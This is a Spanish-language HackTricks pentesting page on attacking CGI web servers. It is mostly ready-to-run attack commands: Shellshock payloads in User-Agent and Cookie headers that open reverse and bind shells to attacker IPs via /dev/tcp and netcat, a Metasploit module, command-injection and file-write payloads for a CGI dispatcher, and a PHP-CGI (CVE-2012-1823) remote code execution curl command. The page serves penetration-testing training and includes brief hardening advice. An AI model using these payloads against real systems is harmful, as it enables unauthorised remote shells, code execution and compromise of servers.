CGI Pentesting

Reading time: 7 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información

Los CGI scripts son perl scripts, así que, si has comprometido un servidor que puede ejecutar .cgi scripts puedes subir un perl reverse shell (/usr/share/webshells/perl/perl-reverse-shell.pl), cambiar la extensión de .pl a .cgi, dar permisos de ejecución (chmod +x) y acceder al reverse shell desde el navegador web para ejecutarlo. Para probar CGI vulns se recomienda usar nikto -C all (y todos los plugins)

ShellShock

ShellShock es una vulnerabilidad que afecta al ampliamente usado intérprete de órdenes Bash en sistemas operativos basados en Unix. Aprovecha la capacidad de Bash para ejecutar comandos pasados por aplicaciones. La vulnerabilidad radica en la manipulación de variables de entorno, que son valores nombrados y dinámicos que afectan cómo se ejecutan los procesos en un equipo. Los atacantes pueden explotar esto adjuntando código malicioso a las variables de entorno, que se ejecuta al recibir la variable. Esto permite a los atacantes potencialmente comprometer el sistema.

Al explotar esta vulnerabilidad la página podría arrojar un error.

Puedes encontrar esta vulnerabilidad al notar que está usando una versión antigua de Apache y cgi_mod (con carpeta cgi) o usando nikto.

Prueba

La mayoría de las pruebas se basan en usar echo para imprimir algo y esperar que esa cadena sea devuelta en la respuesta web. Si crees que una página puede ser vulnerable, busca todas las páginas cgi y pruébalas.

Nmap

bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (reflected, blind and out-of-band)

bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Exploit

bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Despachadores CGI centralizados (enrutamiento de un único endpoint mediante parámetros selectores)

Muchas interfaces web embebidas multiplexan docenas de acciones privilegiadas detrás de un único endpoint CGI (por ejemplo, /cgi-bin/cstecgi.cgi) y usan un parámetro selector como topicurl=<handler> para enrutar la solicitud a una función interna.

Metodología para explotar estos despachadores:

  • Enumerar nombres de handler: scrape JS/HTML, brute-force con wordlists, o desempaquetar firmware y usar grep para buscar cadenas de handler que use el dispatcher.
  • Comprobar accesibilidad sin autenticación: algunos handlers olvidan las verificaciones de autenticación y son llamables directamente.
  • Centrarse en handlers que invocan utilidades del sistema o que tocan archivos; los validadores débiles a menudo sólo bloquean unos pocos caracteres y pueden pasar por alto el guion inicial -.

Formas genéricas de exploit:

http
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
topicurl=<handler>&param=-n

# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

# 3) Validator bypass → arbitrary file write in file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc

Detección y endurecimiento:

  • Vigila solicitudes no autenticadas a endpoints CGI centralizados con topicurl establecido en handlers sensibles.
  • Marca los parámetros que comienzan con - (intentos de inyección de opciones argv).
  • Proveedores: aplicar autenticación en todos los handlers que cambian estado, validar usando allowlists/types/lengths estrictas, y nunca pasar cadenas controladas por el usuario como command-line flags.

PHP antiguo + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

Básicamente, si cgi está activo y php es "antiguo" (<5.3.12 / < 5.4.2) puedes ejecutar código. Para explotar esta vulnerabilidad necesitas acceder a algún archivo PHP del servidor web sin enviar parámetros (especialmente sin enviar el carácter "="). Luego, para probar esta vulnerabilidad, podrías acceder por ejemplo a /index.php?-s (nota el -s) y el código fuente de la aplicación aparecerá en la respuesta.

Luego, para obtener RCE puedes enviar esta consulta especial: /?-d allow_url_include=1 -d auto_prepend_file=php://input y el código PHP a ejecutar en el **body of the request.

Ejemplo:

bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Más info sobre la vuln y posibles exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.

Proxy (MitM to Web server requests)

CGI crea una variable de entorno para cada header en la http request. Por ejemplo: "host:web.com" se crea como "HTTP_HOST"="web.com"

Como la variable HTTP_PROXY podría ser usada por el web server, intenta enviar un header que contenga: "Proxy: <IP_attacker>:<PORT>". Si el servidor realiza alguna request durante la sesión, podrás capturar cada request realizada por el servidor.

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks